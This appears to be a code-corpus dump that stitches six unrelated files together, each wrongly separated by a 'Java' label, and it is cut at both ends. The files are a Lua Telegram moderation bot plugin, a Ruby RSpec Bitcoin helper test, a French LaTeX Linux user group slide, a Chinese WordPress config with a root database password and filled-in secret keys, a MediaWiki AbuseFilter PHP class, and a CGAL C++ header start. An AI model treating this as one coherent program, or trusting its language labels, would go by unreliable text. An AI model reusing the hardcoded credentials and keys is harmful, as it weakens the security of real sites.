return lock_group_arabic(msg, data, target)
end
if matches[2] == 'bots' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked bots ")
return lock_group_bots(msg, data, target)
end
if matches[2] == 'leave' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked leaving ")
return lock_group_leave(msg, data, target)
end
end
if matches[1] == 'unlock' then
local target = msg.to.id
if matches[2] == 'name' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked name ")
return unlock_group_namemod(msg, data, target)
end
if matches[2] == 'member' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked member ")
return unlock_group_membermod(msg, data, target)
end
if matches[2] == 'photo' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked photo ")
return unlock_group_photomod(msg, data, target)
end
if matches[2] == 'flood' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked flood ")
return unlock_group_floodmod(msg, data, target)
end
if matches[2] == 'arabic' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked arabic ")
return unlock_group_arabic(msg, data, target)
end
if matches[2] == 'bots' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked bots ")
return unlock_group_bots(msg, data, target)
end
if matches[2] == 'leave' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked leaving ")
return unlock_group_leave(msg, data, target)
end
end
if matches[1] == 'settings' then
local target = msg.to.id
savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group settings ")
return show_group_settingsmod(msg, data, target)
end
--[[if matches[1] == 'public' then
local target = msg.to.id
if matches[2] == 'yes' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] set group to: public")
return set_public_membermod(msg, data, target)
end
if matches[2] == 'no' then
savelog(msg.to.id, name_log.." ["..msg.from.id.."] set group to: not public")
return unset_public_membermod(msg, data, target)
end
end]]
if matches[1] == 'newlink' and not is_realm(msg) then
if not is_momod(msg) then
return "For moderators only!"
end
local function callback (extra , success, result)
local receiver = 'chat#'..msg.to.id
if success == 0 then
return send_large_msg(receiver, '*Error: Invite link failed* \nReason: Not creator.')
end
send_large_msg(receiver, "Created a new link")
data[tostring(msg.to.id)]['settings']['set_link'] = result
save_data(_config.moderation.data, data)
end
local receiver = 'chat#'..msg.to.id
savelog(msg.to.id, name_log.." ["..msg.from.id.."] revoked group link ")
return export_chat_link(receiver, callback, true)
end
if matches[1] == 'link' then
if not is_momod(msg) then
return "For moderators only!"
end
local group_link = data[tostring(msg.to.id)]['settings']['set_link']
if not group_link then
return "Create a link using /newlink first !"
end
savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group link ["..group_link.."]")
return "Group link:\n"..group_link
end
if matches[1] == 'setowner' and matches[2] then
if not is_owner(msg) then
return "For owner only!"
end
data[tostring(msg.to.id)]['set_owner'] = matches[2]
save_data(_config.moderation.data, data)
savelog(msg.to.id, name_log.." ["..msg.from.id.."] set ["..matches[2].."] as owner")
local text = matches[2].." added as owner"
return text
end
if matches[1] == 'setowner' and not matches[2] then
if not is_owner(msg) then
return "only for the owner!"
end
if type(msg.reply_id)~="nil" then
msgr = get_message(msg.reply_id, setowner_by_reply, false)
end
end
if matches[1] == 'owner' then
local group_owner = data[tostring(msg.to.id)]['set_owner']
local user_info = redis:hgetall('user:'..group_owner)
if not group_owner then
return "no owner,ask admins in support groups to set owner for your group"
end
savelog(msg.to.id, name_log.." ["..msg.from.id.."] used /owner")
if user_info.username then
return "Group onwer is @"..user_info.username.." ["..group_owner.."]"
else
return "Group owner is ["..group_owner..']'
end
end
if matches[1] == 'setgpowner' then
local receiver = "chat#id"..matches[2]
if not is_admin(msg) then
return "For admins only!"
end
data[tostring(matches[2])]['set_owner'] = matches[3]
save_data(_config.moderation.data, data)
local text = matches[3].." added as owner"
send_large_msg(receiver, text)
return
end
if matches[1] == 'setflood' then
if not is_momod(msg) then
return "For moderators only!"
end
if tonumber(matches[2]) < 5 or tonumber(matches[2]) > 20 then
return "Wrong number,range is [5-20]"
end
local flood_max = matches[2]
data[tostring(msg.to.id)]['settings']['flood_msg_max'] = flood_max
save_data(_config.moderation.data, data)
savelog(msg.to.id, name_log.." ["..msg.from.id.."] set flood to ["..matches[2].."]")
return 'Group flood has been set to '..matches[2]
end
if matches[1] == 'clean' then
if not is_owner(msg) then
return "Only owner can clean"
end
if matches[2] == 'member' then
if not is_owner(msg) then
return "Only admins can clean members"
end
local receiver = get_receiver(msg)
chat_info(receiver, cleanmember, {receiver=receiver})
end
if matches[2] == 'modlist' then
if next(data[tostring(msg.to.id)]['moderators']) == nil then --fix way
return 'No moderator in this group.'
end
local message = '\nList of moderators for ' .. string.gsub(msg.to.print_name, '_', ' ') .. ':\n'
for k,v in pairs(data[tostring(msg.to.id)]['moderators']) do
data[tostring(msg.to.id)]['moderators'][tostring(k)] = nil
save_data(_config.moderation.data, data)
end
savelog(msg.to.id, name_log.." ["..msg.from.id.."] cleaned modlist")
end
if matches[2] == 'rules' then
local data_cat = 'rules'
data[tostring(msg.to.id)][data_cat] = nil
save_data(_config.moderation.data, data)
savelog(msg.to.id, name_log.." ["..msg.from.id.."] cleaned rules")
end
if matches[2] == 'about' then
local data_cat = 'description'
data[tostring(msg.to.id)][data_cat] = nil
save_data(_config.moderation.data, data)
savelog(msg.to.id, name_log.." ["..msg.from.id.."] cleaned about")
end
end
if matches[1] == 'kill' and matches[2] == 'chat' then
if not is_admin(msg) then
return nil
end
if not is_realm(msg) then
local receiver = get_receiver(msg)
return modrem(msg),
print("Closing Group..."),
chat_info(receiver, killchat, {receiver=receiver})
else
return 'This is a realm'
end
end
if matches[1] == 'kill' and matches[2] == 'realm' then
if not is_admin(msg) then
return nil
end
if not is_group(msg) then
local receiver = get_receiver(msg)
return realmrem(msg),
print("Closing Realm..."),
chat_info(receiver, killrealm, {receiver=receiver})
else
return 'This is a group'
end
end
if matches[1] == 'help' then
if not is_momod(msg) or is_realm(msg) then
return
end
savelog(msg.to.id, name_log.." ["..msg.from.id.."] Used /help")
return help()
end
if matches[1] == 'res' and is_momod(msg) then
local cbres_extra = {
chatid = msg.to.id
}
local username = matches[2]
local username = username:gsub("@","")
savelog(msg.to.id, name_log.." ["..msg.from.id.."] Used /res "..username)
return res_user(username, callbackres, cbres_extra)
end
if matches[1] == 'kickinactive' then
--send_large_msg('chat#id'..msg.to.id, 'I\'m in matches[1]')
if not is_momod(msg) then
return 'Only a moderator can kick inactive users'
end
local num = 1
if matches[2] then
num = matches[2]
end
local chat_id = msg.to.id
local receiver = get_receiver(msg)
return kick_inactive(chat_id, num, receiver)
end
end
end
return {
patterns = {
"^[!/](add)$",
"^[!/](add) (realm)$",
"^[!/](rem)$",
"^[!/](rem) (realm)$",
"^[!/](rules)$",
"^[!/](about)$",
"^[!/](setname) (.*)$",
"^[!/](setphoto)$",
"^[!/](promote) (.*)$",
"^[!/](promote)",
"^[!/](help)$",
"^[!/](clean) (.*)$",
"^[!/](kill) (chat)$",
"^[!/](kill) (realm)$",
"^[!/](demote) (.*)$",
"^[!/](demote)",
"^[!/](set) ([^%s]+) (.*)$",
"^[!/](lock) (.*)$",
"^[!/](setowner) (%d+)$",
"^[!/](setowner)",
"^[!/](owner)$",
"^[!/](res) (.*)$",
"^[!/](setgpowner) (%d+) (%d+)$",-- (group id) (owner id)
"^[!/](unlock) (.*)$",
"^[!/](setflood) (%d+)$",
"^[!/](settings)$",
-- "^[!/](public) (.*)$",
"^[!/](modlist)$",
"^[!/](newlink)$",
"^[!/](link)$",
"^[!/](kickinactive)$",
"^[!/](kickinactive) (%d+)$",
"%[(photo)%]",
"^!!tgservice (.+)$",
},
run = run
}
end
| Java |
require 'rails_helper'
BitcoinConf = Rails.configuration.payment
def give_bitcoins(amount, address, confirm=false)
http = Net::HTTP.start(BitcoinConf['host'], BitcoinConf['port'])
req = Net::HTTP::Post.new("/debug/give/#{amount}/#{address}")
req.basic_auth BitcoinConf['user'], BitcoinConf['password']
http.request(req)
if confirm
gen_blocks 3
end
end
def gen_blocks(number)
http = Net::HTTP.start(BitcoinConf['host'], BitcoinConf['port'])
req = Net::HTTP::Post.new("/debug/gen/#{number}")
req.basic_auth BitcoinConf['user'], BitcoinConf['password']
http.request(req)
end
def sync
http = Net::HTTP.start(BitcoinConf['host'], BitcoinConf['port'])
req = Net::HTTP::Post.new('/sync')
req.basic_auth BitcoinConf['user'], BitcoinConf['password']
http.request(req)
end
RSpec.describe BitcoinHelper, type: :helper do
describe 'with bitcoin adapter running' do
it 'should not throw error on new_address' do
expect do
new_address
end.not_to raise_error
end
it 'should not throw error on address_info' do
expect do
address_info 'none'
end.not_to raise_error
end
end
describe '#new_address' do
it 'should return the address of any user' do
address = new_address
expect(address).to be_a String
expect(address.length).to be >= 24
expect(address.length).to be <= 34
end
it 'should never return the same address' do
addresses = 10.times.map do |i| new_address end
expect(addresses).to eq addresses.uniq
end
end
describe '#address_info' do
before do gen_blocks 101 end # ensure we have enough (fake) bitcoins
it 'should return a hash' do
address = new_address
expect(address_info address).to be_a Hash
end
it 'should start address with no balance' do
address = new_address
expect(address_info(address)[:balance].to_s).to eq '0.0'
end
it 'should have balance when given bitcoins' do
address = new_address
expect(address_info(address)[:balance].to_s).to eq '0.0'
give_bitcoins '1.2345678', address, true
sync
expect(address_info(address)[:balance].to_s).to eq '1.2345678'
end
it 'should keep bitcoin amount accurately' do
address = new_address
expect(address).to be_a String
expect(address.length).to be >= 24
expect(address.length).to be <= 34
expect(address_info(address)[:balance].to_s).to eq '0.0'
12.times do
give_bitcoins('0.00001', address)
end
gen_blocks 101
sync
expect(address_info(address)[:transactions].length).to eq 12
expect(address_info(address)[:balance].to_s).to eq '0.00012'
end
it 'should require three confirmations' do
address = new_address
expect(address_info(address)[:balance].to_s).to eq '0.0'
give_bitcoins '0.00001', address
sync
expect(address_info(address)[:balance].to_s).to eq '0.0'
gen_blocks 1
sync
expect(address_info(address)[:balance].to_s).to eq '0.0'
gen_blocks 1
sync
expect(address_info(address)[:balance].to_s).to eq '0.0'
gen_blocks 1
sync
expect(address_info(address)[:balance].to_s).to eq '0.00001'
end
it 'should return an array for transactions' do
expect(address_info(new_address)[:transactions]).to be_a Array
end
it 'user should start with no transactions' do
address = new_address
expect(address_info(new_address)[:transactions].length).to eq 0
end
it 'should show new transactions' do
address = new_address
expect(address_info(address)[:transactions].length).to eq 0
give_bitcoins '0.00001', address
sync
expect(address_info(address)[:transactions].length).to eq 1
expect(address_info(address)[:transactions][0][:amount].to_s).to eq '0.00001'
expect(address_info(address)[:transactions][0][:confirmations]).to eq 0
gen_blocks 1
give_bitcoins '0.00002', address
sync
expect(address_info(address)[:transactions].length).to eq 2
expect(address_info(address)[:transactions][0][:amount].to_s).to eq '0.00001'
expect(address_info(address)[:transactions][0][:confirmations]).to eq 1
expect(address_info(address)[:transactions][1][:amount].to_s).to eq '0.00002'
expect(address_info(address)[:transactions][1][:confirmations]).to eq 0
end
end
end
| Java |
\begin{slide}
\large{Go\'{e}LUG} \hfill \small{Linux User Group - Le Havre} \\
\hfill \texttt{http://www.goelug.org} %
%
%
\begin{tikzpicture}[remember picture, overlay]
\node at (current page.north west){%
\begin{tikzpicture}[overlay]
\node[opacity=0.2, anchor=west] at (50mm,-50mm) {\includegraphics[scale=0.35]{../goeland}};
\end{tikzpicture}
};
\end{tikzpicture}
%
\begin{center}
\large{Redonner vie à des vieux ordinateurs ?} \\
\large{Go\'{e}LUG vous invite à découvrir le monde autour d'un} \\
% \huge{Linux} \\
\textbf{\em{Système d'exploitation Libre}}
\end{center}
%
{\small
Redonner une nouvelle vie à des ordinateurs mis de côté ou pret pour la déchetterie ?
C'est possible. \\
Il existe un système d'exploitation qui permet grâce à sa liberté d'être maintenu par une communauté. Renseignez vous au pret de votre groupe d'utilisateurs Linux local {\em Go\'{e}LUG}, par exemple à la permanence les premiers jeudi du mois. \\
}
%
\begin{center}
Le premiere jeudi du mois à \texttt{18h30} \\
à la cantine numérique \texttt{LE CONTAINER}
\end{center}
%
\begin{center}
\texttt{
https://www.goelug.org
}
\end{center}
%
\end{slide} | Java |
<?php
/**
* WordPress基础配置文件。
*
* 本文件包含以下配置选项:MySQL设置、数据库表名前缀、密钥、
* WordPress语言设定以及ABSPATH。如需更多信息,请访问
* {@link http://codex.wordpress.org/zh-cn:%E7%BC%96%E8%BE%91_wp-config.php
* 编辑wp-config.php}Codex页面。MySQL设置具体信息请咨询您的空间提供商。
*
* 这个文件被安装程序用于自动生成wp-config.php配置文件,
* 您可以手动复制这个文件,并重命名为“wp-config.php”,然后填入相关信息。
*
* @package WordPress
*/
// ** MySQL 设置 - 具体信息来自您正在使用的主机 ** //
/** WordPress数据库的名称 */
define('DB_NAME', 'wordpress-example');
/** MySQL数据库用户名 */
define('DB_USER', 'root');
/** MySQL数据库密码 */
define('DB_PASSWORD', 'usbw');
/** MySQL主机 */
define('DB_HOST', 'localhost');
/** 创建数据表时默认的文字编码 */
define('DB_CHARSET', 'utf8mb4');
/** 数据库整理类型。如不确定请勿更改 */
define('DB_COLLATE', '');
/**#@+
* 身份认证密钥与盐。
*
* 修改为任意独一无二的字串!
* 或者直接访问{@link https://api.wordpress.org/secret-key/1.1/salt/
* WordPress.org密钥生成服务}
* 任何修改都会导致所有cookies失效,所有用户将必须重新登录。
*
* @since 2.6.0
*/
define('AUTH_KEY', '#aW$yz|7k+TH=QYh_@JdBYoTneUk fPE;TQ6Y~>jiJC5Iq5${w^@ll9=IE$b%Bw$');
define('SECURE_AUTH_KEY', 'wm0Kp-9BQOdKzfn+rXFLIcaEFW=2[ETFBr!VMN9rRo@u++K+-WmOv|?JR0K<v*o~');
define('LOGGED_IN_KEY', 'qHC8~]W&#gTOdq{J+X|m4!78Ay$E0pu#@mG=#V|Y.t<HgKN|yFQ0MNME_rJ}wG#B');
define('NONCE_KEY', 'uRZ[j T5V+W3Mjz[|BZ(4MH^4X.z$H?TaQb 1L3-xT-H&.@JBW 1TSb$LY+|N2d;');
define('AUTH_SALT', 'V3RuF2}ICN7h|D-a5%cGVo{i!EE]D ;6K+MY~TiZNOG(hVEimE`jVLjYV16r{rc+');
define('SECURE_AUTH_SALT', 'G-+=4IOrajJ.J]r!6>_w(<,Oxb9oxd-||,y,2p%H?r,9yC6J<&59$73b4R!30u`t');
define('LOGGED_IN_SALT', 'c_i}*snL:aL^C`Vc780;^&SVrR_khGCKjhSi01]|+$+|t;8ZmWyo29R?X` O1C_!');
define('NONCE_SALT', '~yOsagc$nT|)z m|4ykEO{hYdd[]/f)<7L5[$3n.WjH$edY+PV7vmy3nnt@_5XAm');
/**#@-*/
/**
* WordPress数据表前缀。
*
* 如果您有在同一数据库内安装多个WordPress的需求,请为每个WordPress设置
* 不同的数据表前缀。前缀名只能为数字、字母加下划线。
*/
$table_prefix = 'wp_';
/**
* 开发者专用:WordPress调试模式。
*
* 将这个值改为true,WordPress将显示所有用于开发的提示。
* 强烈建议插件开发者在开发环境中启用WP_DEBUG。
*/
define('WP_DEBUG', false);
/**
* zh_CN本地化设置:启用ICP备案号显示
*
* 可在设置→常规中修改。
* 如需禁用,请移除或注释掉本行。
*/
define('WP_ZH_CN_ICP_NUM', true);
/* 好了!请不要再继续编辑。请保存本文件。使用愉快! */
/** WordPress目录的绝对路径。 */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** 设置WordPress变量和包含文件。 */
require_once(ABSPATH . 'wp-settings.php');
| Java |
<?php
namespace MediaWiki\Extension\AbuseFilter\Variables;
use ContentHandler;
use Diff;
use Language;
use MediaWiki\Extension\AbuseFilter\Hooks\AbuseFilterHookRunner;
use MediaWiki\Extension\AbuseFilter\Parser\AFPData;
use MediaWiki\Extension\AbuseFilter\TextExtractor;
use MediaWiki\Permissions\PermissionManager;
use MediaWiki\Revision\RevisionLookup;
use MediaWiki\Revision\RevisionStore;
use MediaWiki\User\UserEditTracker;
use MediaWiki\User\UserGroupManager;
use MediaWiki\User\UserIdentity;
use MWException;
use Parser;
use ParserOptions;
use Psr\Log\LoggerInterface;
use stdClass;
use StringUtils;
use TextContent;
use Title;
use UnifiedDiffFormatter;
use User;
use WANObjectCache;
use Wikimedia\Rdbms\Database;
use Wikimedia\Rdbms\ILoadBalancer;
use WikiPage;
/**
* Service used to compute lazy-loaded variable.
* @internal
*/
class LazyVariableComputer {
public const SERVICE_NAME = 'AbuseFilterLazyVariableComputer';
/**
* @var float The amount of time to subtract from profiling
* @todo This is a hack
*/
public static $profilingExtraTime = 0;
/** @var TextExtractor */
private $textExtractor;
/** @var AbuseFilterHookRunner */
private $hookRunner;
/** @var LoggerInterface */
private $logger;
/** @var ILoadBalancer */
private $loadBalancer;
/** @var WANObjectCache */
private $wanCache;
/** @var RevisionLookup */
private $revisionLookup;
/** @var RevisionStore */
private $revisionStore;
/** @var Language */
private $contentLanguage;
/** @var Parser */
private $parser;
/** @var UserEditTracker */
private $userEditTracker;
/** @var UserGroupManager */
private $userGroupManager;
/** @var PermissionManager */
private $permissionManager;
/** @var string */
private $wikiID;
/**
* @param TextExtractor $textExtractor
* @param AbuseFilterHookRunner $hookRunner
* @param LoggerInterface $logger
* @param ILoadBalancer $loadBalancer
* @param WANObjectCache $wanCache
* @param RevisionLookup $revisionLookup
* @param RevisionStore $revisionStore
* @param Language $contentLanguage
* @param Parser $parser
* @param UserEditTracker $userEditTracker
* @param UserGroupManager $userGroupManager
* @param PermissionManager $permissionManager
* @param string $wikiID
*/
public function __construct(
TextExtractor $textExtractor,
AbuseFilterHookRunner $hookRunner,
LoggerInterface $logger,
ILoadBalancer $loadBalancer,
WANObjectCache $wanCache,
RevisionLookup $revisionLookup,
RevisionStore $revisionStore,
Language $contentLanguage,
Parser $parser,
UserEditTracker $userEditTracker,
UserGroupManager $userGroupManager,
PermissionManager $permissionManager,
string $wikiID
) {
$this->textExtractor = $textExtractor;
$this->hookRunner = $hookRunner;
$this->logger = $logger;
$this->loadBalancer = $loadBalancer;
$this->wanCache = $wanCache;
$this->revisionLookup = $revisionLookup;
$this->revisionStore = $revisionStore;
$this->contentLanguage = $contentLanguage;
$this->parser = $parser;
$this->userEditTracker = $userEditTracker;
$this->userGroupManager = $userGroupManager;
$this->permissionManager = $permissionManager;
$this->wikiID = $wikiID;
}
/**
* XXX: $getVarCB is a hack to hide the cyclic dependency with VariablesManager. See T261069 for possible
* solutions. This might also be merged into VariablesManager, but it would bring a ton of dependencies.
* @todo Should we remove $vars parameter (check hooks)?
*
* @param LazyLoadedVariable $var
* @param VariableHolder $vars
* @param callable $getVarCB
* @phan-param callable(string $name):AFPData $getVarCB
* @return AFPData
* @throws MWException
*/
public function compute( LazyLoadedVariable $var, VariableHolder $vars, callable $getVarCB ) {
$parameters = $var->getParameters();
$varMethod = $var->getMethod();
$result = null;
if ( !$this->hookRunner->onAbuseFilter_interceptVariable(
$varMethod,
$vars,
$parameters,
$result
) ) {
return $result instanceof AFPData
? $result : AFPData::newFromPHPVar( $result );
}
switch ( $varMethod ) {
case 'diff':
$text1Var = $parameters['oldtext-var'];
$text2Var = $parameters['newtext-var'];
$text1 = $getVarCB( $text1Var )->toString();
$text2 = $getVarCB( $text2Var )->toString();
// T74329: if there's no text, don't return an array with the empty string
$text1 = $text1 === '' ? [] : explode( "\n", $text1 );
$text2 = $text2 === '' ? [] : explode( "\n", $text2 );
$diffs = new Diff( $text1, $text2 );
$format = new UnifiedDiffFormatter();
$result = $format->format( $diffs );
break;
case 'diff-split':
$diff = $getVarCB( $parameters['diff-var'] )->toString();
$line_prefix = $parameters['line-prefix'];
$diff_lines = explode( "\n", $diff );
$result = [];
foreach ( $diff_lines as $line ) {
if ( substr( $line, 0, 1 ) === $line_prefix ) {
$result[] = substr( $line, strlen( $line_prefix ) );
}
}
break;
case 'links-from-wikitext':
// This should ONLY be used when sharing a parse operation with the edit.
/** @var WikiPage $article */
$article = $parameters['article'];
if ( $article->getContentModel() === CONTENT_MODEL_WIKITEXT ) {
// Shared with the edit, don't count it in profiling
$startTime = microtime( true );
$textVar = $parameters['text-var'];
$new_text = $getVarCB( $textVar )->toString();
$content = ContentHandler::makeContent( $new_text, $article->getTitle() );
$editInfo = $article->prepareContentForEdit(
$content,
null,
$parameters['contextUser']
);
$result = array_keys( $editInfo->output->getExternalLinks() );
self::$profilingExtraTime += ( microtime( true ) - $startTime );
break;
}
// Otherwise fall back to database
case 'links-from-wikitext-or-database':
// TODO: use Content object instead, if available!
/** @var WikiPage $article */
$article = $article ?? $parameters['article'];
// this inference is ugly, but the name isn't accessible from here
// and we only want this for debugging
$varName = strpos( $parameters['text-var'], 'old_' ) === 0 ? 'old_links' : 'all_links';
if ( $vars->forFilter ) {
$this->logger->debug( "Loading $varName from DB" );
$links = $this->getLinksFromDB( $article );
} elseif ( $article->getContentModel() === CONTENT_MODEL_WIKITEXT ) {
$this->logger->debug( "Loading $varName from Parser" );
$textVar = $parameters['text-var'];
$wikitext = $getVarCB( $textVar )->toString();
$editInfo = $this->parseNonEditWikitext(
$wikitext,
$article,
$parameters['contextUser']
);
$links = array_keys( $editInfo->output->getExternalLinks() );
} else {
// TODO: Get links from Content object. But we don't have the content object.
// And for non-text content, $wikitext is usually not going to be a valid
// serialization, but rather some dummy text for filtering.
$links = [];
}
$result = $links;
break;
case 'link-diff-added':
case 'link-diff-removed':
$oldLinkVar = $parameters['oldlink-var'];
$newLinkVar = $parameters['newlink-var'];
$oldLinks = $getVarCB( $oldLinkVar )->toNative();
$newLinks = $getVarCB( $newLinkVar )->toNative();
if ( $varMethod === 'link-diff-added' ) {
$result = array_diff( $newLinks, $oldLinks );
}
if ( $varMethod === 'link-diff-removed' ) {
$result = array_diff( $oldLinks, $newLinks );
}
break;
case 'parse-wikitext':
// Should ONLY be used when sharing a parse operation with the edit.
// TODO: use Content object instead, if available!
/* @var WikiPage $article */
$article = $parameters['article'];
if ( $article->getContentModel() === CONTENT_MODEL_WIKITEXT ) {
// Shared with the edit, don't count it in profiling
$startTime = microtime( true );
$textVar = $parameters['wikitext-var'];
$new_text = $getVarCB( $textVar )->toString();
$content = ContentHandler::makeContent( $new_text, $article->getTitle() );
$editInfo = $article->prepareContentForEdit(
$content,
null,
$parameters['contextUser']
);
if ( isset( $parameters['pst'] ) && $parameters['pst'] ) {
$result = $editInfo->pstContent->serialize( $editInfo->format );
} else {
// Note: as of core change r727361, the PP limit comments (which we don't want to be here)
// are already excluded.
$result = $editInfo->getOutput()->getText();
}
self::$profilingExtraTime += ( microtime( true ) - $startTime );
} else {
$result = '';
}
break;
case 'strip-html':
$htmlVar = $parameters['html-var'];
$html = $getVarCB( $htmlVar )->toString();
$stripped = StringUtils::delimiterReplace( '<', '>', '', $html );
// We strip extra spaces to the right because the stripping above
// could leave a lot of whitespace.
// @fixme Find a better way to do this.
$result = TextContent::normalizeLineEndings( $stripped );
break;
case 'load-recent-authors':
$result = $this->getLastPageAuthors( $parameters['title'] );
break;
case 'load-first-author':
$revision = $this->revisionLookup->getFirstRevision( $parameters['title'] );
if ( $revision ) {
// TODO T233241
$user = $revision->getUser();
$result = $user === null ? '' : $user->getName();
} else {
$result = '';
}
break;
case 'get-page-restrictions':
$action = $parameters['action'];
/** @var Title $title */
$title = $parameters['title'];
$result = $title->getRestrictions( $action );
break;
case 'user-editcount':
/** @var UserIdentity $userIdentity */
$userIdentity = $parameters['user-identity'];
$result = $this->userEditTracker->getUserEditCount( $userIdentity );
break;
case 'user-emailconfirm':
/** @var User $user */
$user = $parameters['user'];
$result = $user->getEmailAuthenticationTimestamp();
break;
case 'user-groups':
/** @var UserIdentity $userIdentity */
$userIdentity = $parameters['user-identity'];
$result = $this->userGroupManager->getUserEffectiveGroups( $userIdentity );
break;
case 'user-rights':
/** @var UserIdentity $userIdentity */
$userIdentity = $parameters['user-identity'];
$result = $this->permissionManager->getUserPermissions( $userIdentity );
break;
case 'user-block':
// @todo Support partial blocks?
/** @var User $user */
$user = $parameters['user'];
$result = (bool)$user->getBlock();
break;
case 'user-age':
/** @var User $user */
$user = $parameters['user'];
$asOf = $parameters['asof'];
if ( !$user->isRegistered() ) {
$result = 0;
} else {
$registration = $user->getRegistration();
// HACK: If there's no registration date, assume 2008-01-15, Wikipedia Day
// in the year before the new user log was created. See T243469.
if ( $registration === null ) {
$registration = "20080115000000";
}
$result = (int)wfTimestamp( TS_UNIX, $asOf ) - (int)wfTimestamp( TS_UNIX, $registration );
}
break;
case 'page-age':
/** @var Title $title */
$title = $parameters['title'];
$firstRev = $this->revisionLookup->getFirstRevision( $title );
$firstRevisionTime = $firstRev ? $firstRev->getTimestamp() : null;
if ( !$firstRevisionTime ) {
$result = 0;
break;
}
$asOf = $parameters['asof'];
$result = (int)wfTimestamp( TS_UNIX, $asOf ) - (int)wfTimestamp( TS_UNIX, $firstRevisionTime );
break;
case 'length':
$s = $getVarCB( $parameters['length-var'] )->toString();
$result = strlen( $s );
break;
case 'subtract-int':
$v1 = $getVarCB( $parameters['val1-var'] )->toInt();
$v2 = $getVarCB( $parameters['val2-var'] )->toInt();
$result = $v1 - $v2;
break;
case 'revision-text-by-id':
$revRec = $this->revisionLookup->getRevisionById( $parameters['revid'] );
$result = $this->textExtractor->revisionToString( $revRec, $parameters['contextUser'] );
break;
case 'get-wiki-name':
$result = $this->wikiID;
break;
case 'get-wiki-language':
$result = $this->contentLanguage->getCode();
break;
default:
if ( $this->hookRunner->onAbuseFilter_computeVariable(
$varMethod,
$vars,
$parameters,
$result
) ) {
throw new MWException( 'Unknown variable compute type ' . $varMethod );
}
}
return $result instanceof AFPData ? $result : AFPData::newFromPHPVar( $result );
}
/**
* @param WikiPage $article
* @return array
*/
private function getLinksFromDB( WikiPage $article ) {
// Stolen from ConfirmEdit, SimpleCaptcha::getLinksFromTracker
$id = $article->getId();
if ( !$id ) {
return [];
}
$dbr = $this->loadBalancer->getConnectionRef( DB_REPLICA );
return $dbr->selectFieldValues(
'externallinks',
'el_to',
[ 'el_from' => $id ],
__METHOD__
);
}
/**
* @todo Move to MW core (T272050)
* @param Title $title
* @return string[] Usernames of the last 10 (unique) authors from $title
*/
private function getLastPageAuthors( Title $title ) {
if ( !$title->exists() ) {
return [];
}
$fname = __METHOD__;
return $this->wanCache->getWithSetCallback(
$this->wanCache->makeKey( 'last-10-authors', 'revision', $title->getLatestRevID() ),
WANObjectCache::TTL_MINUTE,
function ( $oldValue, &$ttl, array &$setOpts ) use ( $title, $fname ) {
$dbr = $this->loadBalancer->getConnectionRef( DB_REPLICA );
// T270033 Index renaming
$revIndex = $dbr->indexExists( 'revision', 'page_timestamp', $fname )
? 'page_timestamp'
: 'rev_page_timestamp';
$setOpts += Database::getCacheSetOptions( $dbr );
// Get the last 100 edit authors with a trivial query (avoid T116557)
$revQuery = $this->revisionStore->getQueryInfo();
$revAuthors = $dbr->selectFieldValues(
$revQuery['tables'],
$revQuery['fields']['rev_user_text'],
[
'rev_page' => $title->getArticleID(),
// TODO Should deleted names be counted in the 10 authors? If yes, this check should
// be moved inside the foreach
'rev_deleted' => 0
],
$fname,
// Some pages have < 10 authors but many revisions (e.g. bot pages)
[ 'ORDER BY' => 'rev_timestamp DESC, rev_id DESC',
'LIMIT' => 100,
// Force index per T116557
'USE INDEX' => [ 'revision' => $revIndex ],
],
$revQuery['joins']
);
// Get the last 10 distinct authors within this set of edits
$users = [];
foreach ( $revAuthors as $author ) {
$users[$author] = 1;
if ( count( $users ) >= 10 ) {
break;
}
}
return array_keys( $users );
}
);
}
/**
* It's like WikiPage::prepareContentForEdit, but not for editing (old wikitext usually)
*
* @param string $wikitext
* @param WikiPage $article
* @param User $user Context user
*
* @return stdClass
*/
private function parseNonEditWikitext( $wikitext, WikiPage $article, User $user ) {
static $cache = [];
$cacheKey = md5( $wikitext ) . ':' . $article->getTitle()->getPrefixedText();
if ( isset( $cache[$cacheKey] ) ) {
return $cache[$cacheKey];
}
$edit = (object)[];
$options = ParserOptions::newFromUser( $user );
$edit->output = $this->parser->parse( $wikitext, $article->getTitle(), $options );
$cache[$cacheKey] = $edit;
return $edit;
}
}
| Java |
// Copyright (c) 2016 CNRS and LIRIS' Establishments (France).
// All rights reserved.
//
// This file is part of CGAL (www.cgal.org); you can redistribute it and/or
// modify it under the terms of the GNU Lesser General Public License as
// published by the Free Software Foundation; either version 3 of the License,
// or (at your option) any later version.
//
// Licensees holding a valid commercial license may use this file in
// accordance with the commercial license agreement provided with the software.
//
// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE
// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
//
// $URL: https://github.com/CGAL/cgal/blob/releases/CGAL-4.14.1/Generalized_map/include/CGAL/Generalized_map.h $
// $Id: Generalized_map.h 8991365 %aI Guillaume Damiand
// SPDX-License-Identifier: LGPL-3.0+
//
// Author(s) : Guillaume Damiand <guillaume.damiand@liris.cnrs.fr>
//
#ifndef CGAL_GENERALIZED_MAP_H
#define CGAL_GENERALIZED_MAP_H 1
#include <CGAL/internal/Combinatorial_map_utility.h>
#include <CGAL/internal/Generalized_map_group_functors.h>
#include <CGAL/internal/Combinatorial_map_copy_functors.h>
#include <CGAL/internal/Generalized_map_sewable.h>
#include <CGAL/Generalized_map_storages.h>
#include <CGAL/Combinatorial_map_functors.h>
#include <CGAL/Combinatorial_map_basic_operations.h>
#include <CGAL/Generalized_map_operations.h>
#include <CGAL/Generic_map_min_items.h>
#include <CGAL/GMap_dart_const_iterators.h>
#include <CGAL/GMap_cell_const_iterators.h>
#include <CGAL/Generalized_map_save_load.h>
#include <CGAL/Unique_hash_map.h>
#include <bitset>
#include <vector>
#include <deque>
#include <boost/type_traits/is_same.hpp>
#include <boost/unordered_map.hpp>
